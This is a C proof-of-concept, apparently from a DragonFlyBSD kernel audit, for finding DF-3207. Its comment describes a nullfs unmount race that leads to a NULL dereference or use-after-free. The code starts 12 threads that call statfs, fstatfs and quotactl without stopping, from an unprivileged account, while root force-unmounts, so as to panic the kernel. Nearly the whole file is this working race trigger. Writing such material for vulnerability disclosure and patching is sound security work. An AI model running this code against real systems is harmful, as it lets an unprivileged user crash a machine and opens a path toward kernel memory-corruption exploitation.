⬢ DragonFlyBSD Kernel Audit
DF-3207 / spam.c
← back to finding ↓ download raw
/*
 * DF-3207 PoC - unprivileged spammer side.
 *
 * Hammers statfs(2)/fstatfs(2)/quotactl(2) on paths inside a nullfs
 * mount while root runs `mount_null` + `umount -f` in a loop.
 *
 * nullfs_unmount() (sys/vfs/nullfs/null_vfsops.c:261-267) does:
 *      xmp = mp->mnt_data; mp->mnt_data = 0; ... kfree(xmp)
 * unconditionally once dounmount(MNT_FORCE) decides to proceed with
 * mnt_refs > 1 (sys/kern/vfs_syscalls.c:974-1006).  kern_statfs(),
 * kern_fstatfs() and sys_quotactl() call VFS_STATFS/VFS_QUOTACTL on a
 * mount they located WITHOUT vfs_busy()/MNTK_UNMOUNT interlock, so an
 * in-flight call dereferences MOUNTTONULLMOUNT(mp)->nullm_vfs
 * (null_vfsops.c:294 / :308) after mnt_data was zeroed (NULL-deref
 * read at kernel VA 0 -> page fault panic) or after xmp was freed
 * (use-after-free read of the M_NULLFSMNT chunk).
 *
 * Run as an unprivileged user:  ./spam /mnt/a/f1
 */
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/statvfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>

static const char *path;
static volatile unsigned long statfs_n, fstatfs_n, quota_n;
static volatile int stop;

#ifndef Q_QUOTASTATE
#define Q_QUOTASTATE 0x0400
#endif
#ifndef Q_GETQUOTA
#define Q_GETQUOTA 0x0300
#endif

static void *
t_statfs(void *arg __unused)
{
	struct statfs sb;
	while (!stop) {
		if (statfs(path, &sb) == 0)
			statfs_n++;
	}
	return (NULL);
}

static void *
t_fstatfs(void *arg __unused)
{
	struct statfs sb;
	int fd;
	while (!stop) {
		fd = open(path, O_RDONLY);
		if (fd >= 0) {
			if (fstatfs(fd, &sb) == 0)
				fstatfs_n++;
			close(fd);
		}
	}
	return (NULL);
}

static void *
t_quota(void *arg __unused)
{
	while (!stop) {
		/* unpriv: fails at the lower layer, but the nullfs layer
		 * deref of mnt_data happens first (nullfs_quotactl). */
		if (quotactl(path, Q_GETQUOTA, getuid(), NULL) == 0)
			quota_n++;
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th[12];
	int i, n = 12;

	if (argc > 1)
		path = argv[1];
	else
		path = "/mnt/a/f1";

	for (i = 0; i < n; i++) {
		void *(*fn)(void *) = ((i % 3) == 0) ? t_statfs :
				      ((i % 3) == 1) ? t_fstatfs : t_quota;
		pthread_create(&th[i], NULL, fn, NULL);
	}
	setvbuf(stdout, NULL, _IOLBF, 0);
	while (1) {
		sleep(10);
		fprintf(stderr, "statfs=%lu fstatfs=%lu quotactl=%lu\n",
		    statfs_n, fstatfs_n, quota_n);
	}
	return (0);
}